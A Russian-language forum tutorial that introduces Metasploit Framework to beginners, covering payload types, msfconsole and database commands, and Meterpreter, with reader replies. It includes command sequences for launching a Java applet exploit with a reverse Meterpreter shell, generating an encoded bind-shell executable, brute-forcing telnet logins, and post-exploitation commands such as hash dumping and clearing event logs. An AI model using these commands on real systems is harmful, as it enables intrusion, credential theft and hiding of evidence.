Введение в Metasploit Framework

B

Bad-Dag

Original poster
Здравствуте, сегодня мы познакомимся с таким чудесным инстументом как Metasploit Framework.
Статья получилась не много длиной))) Расчита на навочков...

Не много воды))) так сказать для обшего развития и понимания.

Metasploit Framework – удобная платформа для создания и отладки эксплойтов. Metasploit обладает
крупнейшими базами данных эксплоитов, полезных нагрузок и других модулей, облегчающих работу
исследователям информационной безопасности. Фреймрорк написан на языке Ruby.
Основные термины
  • Уязвимость (Vulnerability) – слабое место, которое позволяет злоумышленнику/пентестеру взламывать/скомпрометировать целевую систему. Уязвимость может существовать в операционных системах, программах, плагинах и т.д.
  • Эксплоит (Exploit) – код, с помощью которого можно взломать систему, программу и т.п., при наличии в них уязвимостей. Эксплоиты бывают активные (переполнение буфера, брутфорс, неправильные настройкибезопасности) и пассивные (поддельный DNS, редирект, фишинг).
  • Полезная нагрузка (Payload) – код, который выполняется после эксплоита. В основном используется длянастройки связи между жертвой и атакующим.
  • Модуль (Module) – код, который расширяет функциональность Metasploit Framework. Модули различаются по типу: эксплоиты, вспомогательные, полезная нагрузка, нопы (NOP) или модули постэксплуатации. Тип модуля определяет его цель.
  • Слушатель (Listener) – ожидает входящего соединения с эксплуатируемой целью или атакующей машиной и управляет полученным соединением.
Metasploit использует различные библиотеки, которые играют ключевую роль в функционировании
системы. Эти библиотеки представляют собой набор заранее определенных задач, операций и функций,
которые могут быть использованы различными модулями системы. Самая фундаментальная часть
фреймфорка является Ruby Extension (Rex). Некоторые компоненты Rex включают подсистему сокетов
(wrapper socket subsystem), реализацию клиентских и серверных протоколов, регистрацию подсистемы
(logging subsystem), exploitation utility classes, а также ряд других полезных классов.

Далее есть MSF Core-библиотека, которая расширяет Rex. Core несет ответственность за выполнение всех
необходимых интерфейсов (required interfaces) для взаимодействия с эксплоитами, модулями, сессиями и
плагинами.

MetaModule (доступны в MSF Pro) – модуль с управляемым интерфейсом. Каждый MetaModule имеет что-то
типа мастера настроек, т.е. используется минимальный набор настроек, в результате чего задачи по
тестированию на проникновение решаются быстрее.

Полезная нагрузка!!!

В Metasploit полезные нагрузки подразделяют на: single, stager, stage. Каждый тип применяется в
соответствии с ситуацией.

Single - это цельный шеллкод. Такая полезная нагрузка занимает «много» места, поэтому не всегда влезает в
эксплойт. Она, например, позволяет создавать нового пользователя в скомпрометированной системе или
запустить calc.exe.

Stager - нагрузка, разделенная на части (ступени) и выполняется поэтапно. В эксплойт попадает небольшой
шеллкод, в основном для установки сетевого соединения между атакующим и жертвой, остальные
компоненты подгружается при подключении (stage). Stage уже может быть любого размера (Meterpreter,
shell, VNC-инъекция и пр.).

Подраздел полезной нагрузки можно определить по названию полезной нагрузки в зависимости от того,
присутствует в имени '/' или нет. Например, windows/shell_reverse_tcp - это «цельный» пейлоад,
windows/shell/reverse_tcp – «ступенчатый» (здесь reverse_tcp – stager, shell – stage).


Типы полезной нагрузки!!!


  • Inline (не ступенчатая). Обычная полезная нагрузка, содержащая эксплойт и шеллкод для выбранной задачи. Встроенная полезная нагрузка работает стабильнее остальных, посколько включает в себя все необходимые компоненты. Однако некоторые эксплойты ограничены по размеру полезной нагрузки.

Staged. Это сочетание stager и stage полезных нагрузок (см. выше).

  • Meterpreter (cокращение от Meta Inpreter - мета-переводчик). Это расширенная, многофункциональная полезная нагрузка, которая действует посредством dll-инъекции. Meterpreter полностью хранится в оперативной памяти удаленного хоста и не оставляет следов на жестком диске, что делает его трудно обнаруживаемой с помощью обычных методов цифровой криминалистики. Кроме того, полезная нагрузка динамически расширяемая – скрипты и плагины могут загружаться и выгружаться по мере необходимости.

  • PassiveX. Это полезная нагрузка, которая может помочь обойти межсетевой экран. Для создания скрытного экземпляра Internet Explorer используется элемент управления ActiveX, который взаимодействует с атакующим через HTTP-запросы и ответы.

  • NoNX (сокращение от «No Execution Bit» - бит запрета исполнения). NX-бит - встроенная в некоторые процессоры технология для предотвращения уязвимости типа «переполнение буфера», позволяющей выполнять произвольный код на атакуемой системе локально или удаленно. В системе Windows реализована в виде функции безопасности DEP (англ. Data Execution Prevention - предотвращение выполнения данных). В Metasploit эта полезная нагрузка предназначена для обхода DEP.


  • Ord (порядковая полезная нагрузка). Полезная нагрузка, основанная на stager для Windows, которая имеет свои преимущества и недостатки. К её преимуществам относятся: работа в среде Windows без явного определения обратного адреса; крошечный размер. Недостатками является: необходимость загрузки библиотеки ws2_32.dll перед эксплоитом и нестабильность работы.

  • IPv6. Построена для функционирования в сетях шестого поколения (IPv6).
Пример: payload/bsd/x86/shell_bind_tcp_ipv6.

  • Reflective DLL-injection (рефлексивная/отраженная DLL-инъекция). Техника, посредством которой stage попадает в оперативную память запущенного процесса на скомпрометированном хосте без взаимодействия с жестким диском жертвы. Reflective DLL-injection используются в полезных нагрузках VNC и Meterpreter.
Пример: payload/windows/meterpreter/bind_tcp.



Пользовательские интерфейсы!!!

В Metasploit есть четыре так называемых пользовательских интерфейса: msfconsole, msfcli, msfgui (Armitage) и
msfweb.


Msfconsole самый популярный интерфейс для MSF, который позволяет получить доступ практически ко всем
опциям Metasploit Framework. При первом знакомстве работа в msfconsole может напугать, но когда вы
изучите синтаксис команд, познаете всю мощь этого интерфейса.

Преимущества msfconsole:
- обеспечивает консольный интерфейс для фреймворка;
- содержит большинство функций и является самым стабильным MSF-интерфейсом;
-поддерживает выполнение внешних команд, например, msf>ifconfig

Для запуска Msfconsole достаточно в командной строке ввести строку msfconsole. Сам фреймворк находится в
каталоге /usr/share/metasploit-framework/msfconsole.


Ну а теперь если вы не сильно устали то перейдем к практике)))


Команды
Основные команды
help или ?
Отобразит доступные опции с их описанием

msf > help
Core Commands
=============
Command Description
------- -----------
?
Help menu
back - Move back from the current context
banner - Display an awesome metasploit banner
cd -Change the current working directory
color -Toggle color
и т.д посмотрите сами. К сожилению еще не разобрался как вставлять картинки.

back - Команда «Назад», чтобы выйти из текущего контекста
msf exploit(java_cmm) > back
msf >


banner - Показывает случайно выбранный баннер
msf > banner
__/ \ /\
__
_ __ /_/ __
| |\ / | _____ \ \
___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\
=[ metasploit v4.11.0-2014121601 [core:4.11.0.pre.2014121601 api:1.0.0]]
+ -- --=[ 1387 exploits - 864 auxiliary - 236 post]
+ -- --=[ 342 payloads - 37 encoders - 8 nops]
+ -- --=[ Free Metasploit Pro trial:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

]
msf >



check - Проверка на удаленной машине наличия уязвимости для указанного эксплойта (доступна не для всех
модулей).
msf > use exploit/windows/antivirus/symantec_iao
msf exploit(symantec_iao) > show options
msf exploit(symantec_iao) > set RHOST 192.168.223.130
msf exploit(symantec_iao) > check
[*] 192.168.223.141:38292 - This module does not support check.


color Включить/отключить цветовое оформление. Доступны значения «true», «false», «auto».
msf > color true


connect
Используется для подключения к удаленному хосту. Задавая команду «connect» с параметрами IP- адреса и
порта, вы можете подключиться к удаленному хосту, как и при использовании netcat или telnet.
msf > connect 192.168.223.141 21
[*] Connected to 192.168.223.141:21
220 (vsFTPd 2.3.4)

edit
Позволяет изменить текущий модуль с $VISUAL или $EDITOR. По умолчанию модуль открывается в редакторе Vim.
msf auxiliary(smb_version) > edit
[*] Launching /usr/bin/vim
/opt/metasploit4/apps/pro/msf3/modules/auxiliary/scanner/smb/smb_version.rb


##
# This module requires Metasploit:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


# Current source:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


##

require 'msf/core'
require 'recog'
class Metasploit3 < Msf::Auxiliary


exit - Выход с msfconsole

msf auxiliary(smb_version) > exit
root@kali:~#


info
Вывод подробной информации о модуле, включая все параметры, цели, и другую информацию. Во
избежание нежелательных результатов рекомендуется всегда ознакамливаться с опциями.

msf exploit(ams_hndlrsvc) > info
Name: Symantec System Center Alert Management System (hndlrsvc.exe) Arbitrary Command
Execution
Module: exploit/windows/antivirus/ams_hndlrsvc
Platform: Windows
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2010-07-26
Provided by:
MC <[email protected]>
Available targets:
Id Name
-- ----
0 Windows Universal
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CMD no Execute this command instead of using command stager
RHOST yes The target address
RPORT 38292 yes The target port


Payload information:
Description:
Symantec System Center Alert Management System is prone to a remote
command-injection vulnerability because the application fails to
properly sanitize user-supplied input.


References:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.




irb
Запуск командной оболочки для программирования на языке Ruby (Interactive Ruby Shell, IRB ).
msf > irb
[*] Starting IRB shell...
>> Framework::Version
=> "4.11.0-2014121601"


jobs
Команда предоставляет возможность перечислить задания и прекратить их.


msf > use exploit/multi/browser/java_jre17_exec
msf exploit(java_jre17_exec) > exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.223.144:4444
[*] Using URL:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


msf exploit(java_jre17_exec) > [*] Local IP:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


[*] Server started.


msf exploit(java_jre17_exec) > jobs
jobs
====
Id Name
-- ----
0 Exploit: multi/browser/java_jre17_exec
msf exploit(java_jre17_exec) >


kill
Завершить задание с указанным id
msf > kill 0
[*] Stopping the following job(s): 0
[*] Stopping job 0
[*] Server stopped.


Альтернативный вариант
msf > jobs
Jobs
====
Id Name
-- ----
1 Exploit: multi/browser/java_jre17_exec


msf > jobs -k 1
[*] Stopping the following job(s): 1
[*] Stopping job 1
[*] Server stopped.


load
Загрузить плагины из каталога /usr/share/metasploit-framework/plugins/

msf > load nexpose
[*] Nexpose integration has been activated
[*] Successfully loaded plugin: nexpose


loadpath
Загрузить сторонние модули (уязвимости нулевого дня, кодеры, полезные нагрузки и т.д.) с указанного
каталога.

msf > loadpath /home/pentest/
Loaded 0 modules.


unload
Выгрузить предварительно загруженный плагин и удалить дополнительные команды.


msf > unload nexpose
Unloading plugin nexpose...unloaded.


resource
Загрузить файл с командами для автоматизации процесса выполнения этих команд. В этих скриптах также
можно писать код на Руби.


msf > resource '/root/Desktop/multi_handler.rc'
[*] Processing /root/Desktop/multi_handler.rc for ERB directives.
resource (/root/Desktop/multi_handler.rc)> use multi/handler
resource (/root/Desktop/multi_handler.rc)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (/root/Desktop/multi_handler.rc)> set LHOST 192.168.223.130
LHOST => 192.168.223.130
resource (/root/Desktop/multi_handler.rc)> set LPORT 4444
LPORT => 4444
resource (/root/Desktop/multi_handler.rc)> run
[-] Handler failed to bind to 192.168.223.130:4444
[*] Started reverse handler on 0.0.0.0:4444
[*] Starting the payload handler...


route
Команда позволяет просматривать, удалять и добавлять статические маршруты в таблицу маршрутизации
системы. Для добавления маршрута нужно передать маску целевой подсети и сети с последующим номером
сессии (comm).


msf > route
Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]
Route traffic destined to a given subnet through a supplied session.
The default comm is Local.

meterpreter > route
IPv4 network routes
===================
Subnet Netmask Gateway Metric Interface
------ ------- ------- ------ ---------
127.0.0.1 255.0.0.0 0.0.0.0
192.168.56.1 255.255.255.0 0.0.0.0
192.168.223.130 255.255.255.0 0.0.0.0
No IPv6 routes were found.


search
Поиск по ключевым словам
msf > search shellshock
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/server/dhclient_bash_env 2014-09-24 normal DHCP Client Bash Environment
Variable Code Injection
exploit/multi/ftp/pureftpd_bash_env_exec 2014-09-24 excellent Pure-FTPd External
Authentication Bash Environment Variable Code Injection
exploit/multi/http/cups_bash_env_exec 2014-09-24 good CUPS Filter Bash Environment
Variable Code Injection


Ключевые слова:
app: модули для клиентских или серверных атак
search cve:2014 type:exploit app:client
author: авторы модуля


msf > search author:Chazelas

bid: модули с соответствующим Bugtraq ID
msf > search bid:46235

cve: модули с соответствующим CVE-кодом
msf > search cve:2014-6271

edb: модули с соответствующим Exploit-DB ID
msf > search edb:34765

osvdb: модули с соответствующим OSVDB ID
msf > search osvdb:112004

name: название модуля
msf > search name:mysql

platform: модули под определенную ОС
msf > search platform:android

ref: модуль с указанным источником
msf > search ref:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



type: модули определенного типа (exploit, auxiliary или post)
msf > search type:post


Комбинировать поисковые запросы по ключевым словам можно, но не рекомендуется, потому что часто это
не работает.
search cve:2014 type:exploit app:client



Альтернативный и более удобный вариант – осуществлять поиск по онлайн-базе данных Rapid7.
sessions
Позволяет просматривать и закрывать активные сессии. Сессии могут быть получены с помощью shell,
meterpreter, VNC и т.д.

msf > sessions -i
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter java/java ZSA @ user-234dd8ca06 192.168.223.144:4444 -> 192.168.223.130:1309 (192.168.223.130)
msf > sessions -i 1
[*] Starting interaction with 1...
meterpreter >



set
Настройка опций для текущего модуля

msf > use exploit/multi/browser/java_jre17_exec

msf exploit(java_jre17_exec) > set LHOST 192.168.223.144

С помощью этой же команды к эксплойту можно добавить кодировщик или полезную нагрузку, а также
указать нужную версию ОС (target)

msf exploit(java_jre17_exec) > show payloads...

msf exploit(java_jre17_exec) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp

msf exploit(java_jre17_exec) > show targets...

msf exploit(java_jre17_exec) > set target 0
target => 0

msf exploit(java_jre17_exec) > show encoders...

msf exploit(java_jre17_exec) > set encoder generic/eicar
encoder => generic/eicar

unset
Cбрасывает настройки установленных опций до заводских.

msf exploit(java_jre17_exec) > unset SRVHOST
Unsetting SRVHOST...


С помощью команды unset all можно сбросить все настройки одновременно.

msf exploit(java_jre17_exec) > unset all
Flushing datastore...


setg
Установить глобальные переменные.
msf > setg LHOST 192.168.223.129


И наоборот, вы можете использовать команду unsetg, чтобы сбросить глобальные переменные.
Глобальные настройки сохраняются даже после перезагрузки, поэтому не забывайте проверять опции перед
каждым запуском модулей.
Команда save сохранит текущие настройки, которые будут автоматически загружаться при каждом запуске
MSF, что избавит вас от необходимости устанавливать все снова.
msf > save


show
Допустимым для команды show являются следующие параметры: all, encoders, nops, exploits, payloads,
auxiliary, plugins, options. Также для некоторых модулей могут использоваться дополнительные параметры:
missing, advanced, evasion, targets, actions.
Отобразить все доступные модули

msf > show all
Запустив команду show auxiliary на дисплее отобразятся вспомогательные модули, куда входят сканеры,
модули отказа в обслуживании, фаззеры и многое другое.

msf > show auxiliary
show actions покажет доступные действия для выбранного вспомогательного модуля

msf > use auxiliary/admin/backupexec/registry
msf auxiliary(registry) > show actions
Auxiliary actions:
Name Description
---- ----- -----
Create Logon Notice
System Information


msf auxiliary(registry) >
show exploits – выведет список доступных эксплойтов


msf auxiliary(registry) > show exploits
Когда вы выбираете определенный эксплойт, команда show payloads отобразит полезные нагрузки
совместимые конкретно с этим эксплойтом.

msf auxiliary(registry) > use exploit/multi/browser/java_jre17_exec
msf exploit(java_jre17_exec) > show payloads

Если вы выбрали конкретный модуль, можно ввести show options для отображения доступных и
необходимых настроек конкретно для этого модуля.
msf exploit(java_jre17_exec) > show options

Для того, что вывести параметры с пустыми полями воспользуйтесь командой show missing

msf exploit(java_jre17_exec) > use auxiliary/scanner/smb/smb_login
msf auxiliary(smb_login) > show missing
Module options (auxiliary/scanner/smb/smb_login):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
msf auxiliary(smb_login) >


Если вы не уверены, что операционная система является уязвимой для вашего эксплоита, введите show
targets в контексте используемого эксплоита, чтобы посмотреть, какие версии ОС поддерживаются.
msf exploit(java_jre17_exec) > show targets


Если вы хотите увидеть дополнительные параметры, относящиеся к эксплоиту, запустите команду show
advanced.
msf exploit(java_jre17_exec) > show advanced

Запуск команды show encoders покажет список доступных кодеров.
msf exploit(java_jre17_exec) > show encoders


Команда show nops отобразит NOP-генераторы, доступные в Metasploit.
msf exploit(java_jre17_exec) > show nops

Наконец, show evasion показывает доступные для этого модуля опции по обходу ids
msf exploit(java_jre17_exec) > show evasion
Module evasion options:
Name: HTML::base64
Current Setting: none
Description : Enable HTML obfuscation via an embeded base64 html object (IE...


use
Использовать выбранный модуль
msf > use exploit/multi/browser/java_jre17_exec
msf exploit(java_jre17_exec) >

Работа с БД
Использование базы данных является отличным средством для экономии времени. Metasploit имеет
встроенную поддержку систему управления базами данных PostgreSQL, что позволяет быстро и
легко добраться до информации о сканировании, а также дает возможность импортировать и
экспортировать результаты.

Для сохранения результатов сканирования в базе данных Метасплойта, необходимо к ней
подключиться


msf > db_connect
[*] Usage: db_connect <user:pass>@<host:port>/<database>
[*]OR: db_connect -y [path/to/database.yml]
[*] Examples:
[*]db_connect user@metasploit3
[*]db_connect user:p[email protected]/metasploit3
[*]db_connect user:p[email protected]:1500/metasploit3


Вся необходимая для подключения информация содержится в файле properties.ini
root@Linux:~# cat /opt/metasploit/properties.ini

[General]
base_stack_name=Metasploit
base_stack_version=4.11.0-2015012901-1kali0
installdir=/opt/metasploit


[Postgres]
postgres_port=5432
rapid7_database_password=<пароль>
rapid7_database_user=<имя пользователя>
rapid7_database_name=<имя БД>...



Посмотреть статус подключение
msf > db_status
[*] postgresql connected to msf3



Рабочее место(workspaces)
После подключения к базе данных мы можем организовать так называемые «рабочие места» (workspaces)
для сохранения результатов сканирования из разных мест, например, сетей и подсетей. Команда workspace покажет выбранные рабочие места. Звездочкой (*) обозначено рабочее место выбранное по умолчанию.
msf > workspace -h
Usage:
workspace List workspaces
workspace [name] Switch workspace
workspace -a [name] ... Add workspace(s)
workspace -d [name] ... Delete workspace(s)
workspace -r <old> <new> Rename workspace
workspace -h Show this help information


msf > workspace
* default
test22032015


Для создания и удаления рабочих мест используются параметры -a или –d
msf > workspace -a test
[*] Added workspace: tets


msf > workspace -d test
[*] Deleted workspace: ZSA2014


Импорт/экспорт и сканирование
Msfconsole с помощью команды «db_nmap» позволяет провести сканирование сети с помощью Nmap.
Результаты сканирования будут сохранены в текущей базе данных.

msf > db_nmap -A 192.168.223.141


Можно импортировать данные, например, отчеты тестирования со сканера портов или сканера уязвимостей.

msf > db_import '/root/Desktop/nmap_test.xml'
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.6.5'
[*] Importing host 192.168.223.129
[*] Successfully imported /root/Desktop/nmap_test.xml

Также можно выгрузить данные из Metasploit, например, для прикрепления к отчету. Экспорт данных
производится с помощью команды «db_export» и может быть сохранен в формате XML и PWDUMP.

msf > db_export -h
Usage:
db_export -f <format> [-a] [filename]
Format can be one of: xml, pwdump
[-] No output file was specified


msf > db_export -f xml /root/Desktop/PentestResult.xml
[*] Starting export of workspace ZSA_1 to /root/Desktop/PentestResult.xml [ xml ]...
[*] >> Starting export of report
[*] >> Starting export of hosts
[*] >> Starting export of events
[*] >> Starting export of services
[*] >> Starting export of web sites
[*] >> Starting export of web pages
[*] >> Starting export of web forms
[*] >> Starting export of web vulns
[*] >> Starting export of module details
[*] >> Finished export of report
[*] Finished export of workspace ZSA_1 to /root/Desktop/PentestResult.xml [ xml ]...


msf > hosts

msf > hosts -h
Usage: hosts [ options ] [addr1 addr2 ...]
OPTIONS:
-a, --add Add the hosts instead of searching
-d, --delete Delete the hosts instead of searching
-c <col1,col2> Only show the given columns (see list below)
-h,--help Show this help information
-u,--up Only show hosts which are up
-o <file> Send output to a file in csv format
-R,--rhosts Set RHOSTS from the results of the search
-S,--search Search string to filter by

Available columns: address, arch, comm, comments, created_at, cred_count,
detected_arch, exploit_attempt_count, history_count, host_detail_count, info,
mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope,
service_count, state, updated_at, virtual_host, vuln_count


msf > hosts
Hosts
=====
address mac purpose info comments name os_name os_flavor os_sp
------- --- - ---- -------- ---- ------- --------- ----- -----
192.168.223.129 server
192.168.223.130 00:0c:29:cb:54:b6 client Linux 3.X Windows XP



В данный список можно добавить/удалить хосты или же отсортировать вывод столбцов по определенным
таблицам
Поиск по сервисам можно осуществлять с помощью команды «services»

msf > services -h
Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>]
[addr1 addr2 ...]
-a,--add Add the services instead of searching
-d,--delete Delete the services instead of searching
-c <col1,col2> Only show the given columns
-h,--help Show this help information
-s <name1,name2> Search for a list of service names
-p <port1,port2> Search for a list of ports
-r <protocol> Only show [tcp|udp] services
-u,--up Only show services which are up
-o <file> Send output to a file in csv format
-R,--rhosts Set RHOSTS from the results of the search
-S,--search Search string to filter by
Available columns: created_at, info, name, port, proto, state, updated_at
msf >


creds
Запуск команды без каких-либо опций покажет сохраненные учетные данные, которые были получены в
результате тестирования.


msf > creds
Credentials
===========
host service

---- ------- ------ ------- ----- ------------
192.168.223.141 3306/tcp (mysql) root
msf >


loot
Просмотреть сведения (например, скомпрометированной системы дамп учетный записей), которые удалось получить со

msf > loot




Использование эксплоита на примере Java 7 Applet Remote Code Execution


msf > use exploit/multi/browser/java_jre17_exec
msf exploit(java_jre17_exec) > show options
msf exploit(java_jre17_exec) > set srvhost 192.168.223.144
msf exploit(java_jre17_exec) > set uripath /
msf exploit(java_jre17_exec) > show targets
msf exploit(java_jre17_exec) > set target 0
msf exploit(java_jre17_exec) > show options
msf exploit(java_jre17_exec) > show payloads
msf exploit(java_jre17_exec) > set payload java/meterpreter/reverse_tcp
msf exploit(java_jre17_exec) > show options
msf exploit(java_jre17_exec) > set lhost 192.168.223.144
msf exploit(java_jre17_exec) > set lport 4444
msf exploit(java_jre17_exec) > show encoders
msf exploit(java_jre17_exec) > set encoder generic/eicar
msf exploit(java_jre17_exec) > show options
msf exploit(java_jre17_exec) > exploit –j
msf exploit(java_jre17_exec) > sessions –i
msf exploit(java_jre17_exec) > sessions -i 0
meterpreter >



Пример генерации полезной нагрузки
msf > show payloads
msf > use payload/windows/shell_bind_tcp
msf payload(shell_bind_tcp) > generate –h
msf payload(shell_bind_tcp) > generate -b '\x00\xa3\x75'
msf payload(shell_bind_tcp) > show encoders
msf payload(shell_bind_tcp) > set encoder x86/shikata_ga_nai
msf payload(shell_bind_tcp) > set RHOST 192.168.223.130
msf payload(shell_bind_tcp) > set LPORT 4444
msf payload(shell_bind_tcp) > generate –b
'\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b' –e x86/shikata_ga_nai –i 3 -t raw -f
/root/Desktop/filename.exe


Примеры работы в одну строчку))

Пример 1
msfconsole -q -x "use auxiliary/scanner/telnet/telnet_login; set USERNAME msfadmin; set PASSWORD msfadmin;
set RHOSTS metasploitable; run; exit -y"

Пример 2
msfconsole -r documentation/msfconsole_rc_ruby_example.rc



Metasploit Meterpreter


Meterpreter – это расширенная, многофункциональная полезная нагрузка.
Основные особенности:
  • действует посредством dll-инъекции;
  • находится полностью в оперативной памяти;
  • не оставляет следов на жестком диске;
  • динамически расширяется.
Серверная часть Meterpreter собрана с помощью MSVC (Microsoft Visual C++), что делает его несколько
портативных. Клиентская часть может быть написана на любом языке, но Metasploit имеет
полнофункциональный API-клиент на Ruby.


Команды
help – справочная информация

background – сделать работу meterpreter в фоновом режиме. Обратно можно вернуться через сессию

cat – просмотр содержимого файла

cd и pwd - используются для изменения и отображения текущего каталога.

clearev - очищает записи в журналах Приложение, Система и Безопасность( Application, System, Security).
Работает только в системе Window и не имеет опций.

download – загрузка файлов со скомпрометированной машины

edit - открывает для редактирования файл, расположенный на целевом компьютере. Он использует редактор
«Vim» и все его команды.

execute – запуск команд на скомпрометированной машине

getuid – показать имя пользователя сервера

hashdump – модуль пост-эксплуатации для дампа базы данных SAM.

idletime - отобразить время, в течение которого простаивает пользователь на удаленном компьютере.

ipconfig – отобразить сетевые интерфейсы и адреса на скомпрометированной машине

lpwd & lcd – используются для отображения и изменения рабочий каталога локальной машины.

ls - команда выведет список файлов в текущем каталоге жертвы (как и в Linux).

migrate - использование модуля пост-эксплуатации (post/windows/manage/migrate) для перехода на другой
процесс у жертвы.

ps - отображает список запущенных процессов на целевой машине.


Порой при использовании Metasploit на виртуальной машине для получения шелла или обратного
соединения (back-connect) Meterpreter требуется пробросить за NAT/DMZ. Простой проброс портов за NAT не
даст нужного результата. Во-первых, здесь на помощь приходит специальный класс полезной нагрузки со
словом «hop» в названии (например, payload/windows/meterpreter/reverse_hop_http). Во-вторых, появился
специальный php-скрипт для промежуточного сервера ( он должен быть нам подконтролен), который будет
отвечать за пересылку данных между жертвой и атакующим.


Всем спасибо за внимание. Надеюсь хоть комунибудь статья покажеться полезной.
 
  • Like
Реакции: MrFear41
C

cosmos

Original poster
чувак, ты рассказываешь все очень интересно, записывай видео если тебе нетрудно))
 
B

Bad-Dag

Original poster
Спасибо за похвалу) очень приятно)
 
F

Frak

Original poster
Интересно и познавательно! Автору +! Видио было бы интересно посмотреть!
 
Б

БШДИ

Original poster
Очень доступно и позновательно изложен материал. большое спасибо автору!
 
Название темы
Автор Заголовок Раздел Ответы Дата
Y Анонимность и Безопасность в Сети ч1 - Введение. Хост Анонимность и приватность 0
A Введение в HTML DOM (модель объекта документа) Другие ЯП 0
B Введение в раздел Практика тестирования на проникновение "Разведка и сбор информации" Уязвимости и взлом 0
Eteriass Интересно Metasploit и Python Уязвимости и взлом 2
Eteriass Интересно Что такое koadic и почему не metasploit? Уязвимости и взлом 7
L Собираем информации о базах данных PostgreSQL используя Metasploit Уязвимости и взлом 0
K Metasploit для юнцов [Часть 1] Уязвимости и взлом 1
K PentestIT-Тестирование на проникновение с использованием Metasploit Framework https://cloud.mail.ru/public/HQgW/7oreizmBV Другое 0
K Мануал: Скрытое управление компьютером на Windows (используя Metasploit) #2 Уязвимости и взлом 0
K Мануал: Скрытое управление компьютером на Windows (используя Metasploit) #1 Уязвимости и взлом 3
S Ошибка metasploit wmap Уязвимости и взлом 1
I Взлом удаленного доступа nmap + metasploit (Kali linux) Полезные статьи 1
I Взлом windows 7-10 с помощью setoolkit и metasploit (Kali Linux) Полезные статьи 4
E [Видео] Взламываем Android девайс с помощью Metasploit Уязвимости и взлом 1
Admin Взлом удаленного ПК. Veil-Evasion. Metasploit. Уязвимости и взлом 4
Admin Bypass UAC. Metasploit. Уязвимости и взлом 0
Admin Aналог Metasploit для роутеров WiFi/Wardriving/Bluejacking 4
Anorali TIDoS-Framework: платформа для тестирования на проникновение веб-приложений Полезные статьи 6
C Ghost Framework Spam/DDOS/Malware 0
GhosTM@n Интересно Lockdoor Pentesting Framework Полезные статьи 0
B Yii2 Framework Профессиональная Backend-разработка Полезные статьи 0
G Eazy framework Kali Linux 0
G CrackMapExec - Pentest Framework Kali Linux 0
G Mobile Security Framework - Выявление вредоносного кода в приложениях Полезные статьи 0
Admin EternalView .Небольшой framework для pentest Уязвимости и взлом 1
M Nettacker - Auto Pentest Framework Полезные статьи 1
D NXcrypt-python backdoor framework Spam/DDOS/Malware 0

Название темы